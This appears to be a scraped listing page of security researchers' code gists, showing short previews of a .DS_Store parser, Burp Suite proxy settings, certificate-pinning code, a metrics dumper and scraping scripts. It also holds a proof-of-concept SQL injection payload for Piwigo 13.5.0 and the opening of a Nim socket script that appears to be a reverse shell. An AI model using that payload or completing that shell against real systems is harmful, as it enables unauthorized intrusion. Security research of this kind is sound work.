This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- encoding: utf-8 -*- | |
from ds_store import DSStore | |
from tqdm import tqdm | |
import argparse | |
parser = argparse.ArgumentParser() | |
parser.add_argument("-p", "--path", help="Path to the DS_Store file", required=True) | |
parser.add_argument("-t", "--type", help="Type : Iloc, bwsp, lsvp, lsvP, icvp", default='Iloc') | |
args = parser.parse_args() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Burp Suite > Proxy > Options > TLS Pass Through. | |
Add these: | |
*.google\.com | |
.*.gstatic).com | |
*.mozilla\.com | |
.*\.googleapis\.com | |
*.pkil.goog |
POC - Authenticated SQL injection Piwigo 13.5.0
Payload: 12 UNION ALL SELECT CONCAT(0x4141414141,IFNULL(CAST(VERSION() AS NCHAR),0x20),0x4141414141)-- --
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
func urlSession(_ session: URLSession, didReceive challenge: URLAuthenticationChallenge, completionHandler: @escaping (URLSession.AuthChallengeDisposition, URLCredential?) -> Void) { | |
if (challenge.protectionSpace.authenticationMethod == NSURLAuthenticationMethodServerTrust) { | |
if let serverTrust = challenge.protectionSpace.serverTrust { | |
var secresult = SecTrustResultType.invalid | |
let status = SecTrustEvaluate(serverTrust, &secresult) | |
if (errSecSuccess == status) { | |
if let serverCertificate = SecTrustGetCertificateAtIndex(serverTrust, 0) { | |
let serverCertificateData = SecCertificateCopyData(serverCertificate) | |
let data = CFDataGetBytePtr(serverCertificateData); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
=begin | |
author: unp4ck | |
usage: | |
$ gem install http | |
$ ruby metricsDumper.rb -u https://example.com/prometheus | |
=end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <netdb.h> | |
/* --- server.c --- */ | |
#include <sys/socket.h> | |
#include <netinet/in.h> | |
#include <arpa/inet.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <errno.h> | |
#include <string.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import osproc, net | |
#Author: m4ll3k | |
var | |
sock = newSocket() | |
proc run(TARGET: string, RPORT: int): void = | |
try: | |
sock.connect(TARGET, PORT(RPORT)) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from shutil import ExecError | |
import requests | |
from bs4 import BeautifulSoup | |
import os | |
import wget | |
from concurrent.futures import ThreadPoolExecutor | |
import zipfile | |
def wordpress_plugin(): | |
urls = [] |